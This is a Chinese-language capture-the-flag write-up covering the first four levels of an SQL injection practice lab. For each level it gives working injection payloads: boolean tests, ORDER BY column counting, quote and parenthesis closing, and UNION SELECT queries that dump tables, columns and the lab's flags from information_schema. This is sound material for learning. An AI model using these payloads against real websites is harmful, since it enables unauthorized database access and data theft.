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今天给大家带来封神台 sql 注入靶场前 4 关的解题思路，并不算难。

地址

https://hack.zkaq.cn/battle#bid=cd23d4b58f0dfd3e

0x01

首先判断是否存在注入点，修改地址，尝试 id=1 and 1=1 可以正常显示数据，id=1 and 1=2 无法显示数据，
故存在注入。

继续猜解字段数，id=1 order by 1 可以正常显示数据，一直到 4 才无法显示，故字段数为 3，使用 id=1 and
1=2 union select 1,2,3 界面显示如下。
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可见第 2,3 个字段作为结果展示，我使用第 3 个字段，查询当前数据库，使用 id=1 and 1=2 union select
1,2,database() 界面显示 Your Password:error，刚开始还以为出错了，后面发现是数据库就叫 error，所以得到
当前数据库为 error。

继续查询当前数据库中的表。

http://injectx1.lab.aqlab.cn:81/Pass-01/index.php?id=1 and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database()

显示 Your Password:error_flag,user，所以一共有 error_flag 和 user 这两张表，猜测 flag 在 error_flag 表，查
询该表数据。

id=1 and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'error_flag'

得到共有两个字段 Id 和 flag，接着查询出 flag。

id=1 and 1=2 union select 1,2,group_concat(flag) from error_flag

为 zKaQ-Nf,zKaQ-BJY,zKaQ-XiaoFang,zKaq-98K。一不小心把前 4 关的 flag 都查出来了，不过没关系我们可
以当没看到后三个。



继续下一关。

0x02

和第一关基本一样，但是这里参数使用了单引号包裹，所以在构造语句时需要闭合单引号。

判断是否存在注入 

id=1' and  '1'='1，， id=1' and  '1'='2

判断字段数

id=1' order by 1 %23，，%23 为 # 号，在 sql 中为注释后面的内容，这里用来注释语句后面的单引号。这里字
段数同样为 3。

查询当前数据库

id=1' and 1=2 union select 1,2,database() %23

查询当前数据库中的表

id=1' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database() %23

查询表中字段

id=1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = database() and table_name='error_flag

查询数据



id=1' and 1=2 union select 1,2,group_concat(flag) from error_flag %23

0x03

在上一关单引号的基础上添加了括号，闭合括号即可。

查询当前数据库

id=1') and 1=2 union select 1,2,database() %23

查询当前数据库中的表

id=1') and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database() %23

查询表中字段

id=1') and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = database() and table_name=('error_flag

查询数据

id=1') and 1=2 union select 1,2,group_concat(flag) from error_flag %23

0x04

把上一关的单引号变成了双引号，换汤不换药。

查询当前数据库

id=1") and 1=2 union select 1,2,database() %23

查询当前数据库中的表

id=1") and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database() %23

查询表中字段

id=1") and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = database() and table_name=("error_flag

查询数据

id=1") and 1=2 union select 1,2,group_concat(flag) from error_flag %23
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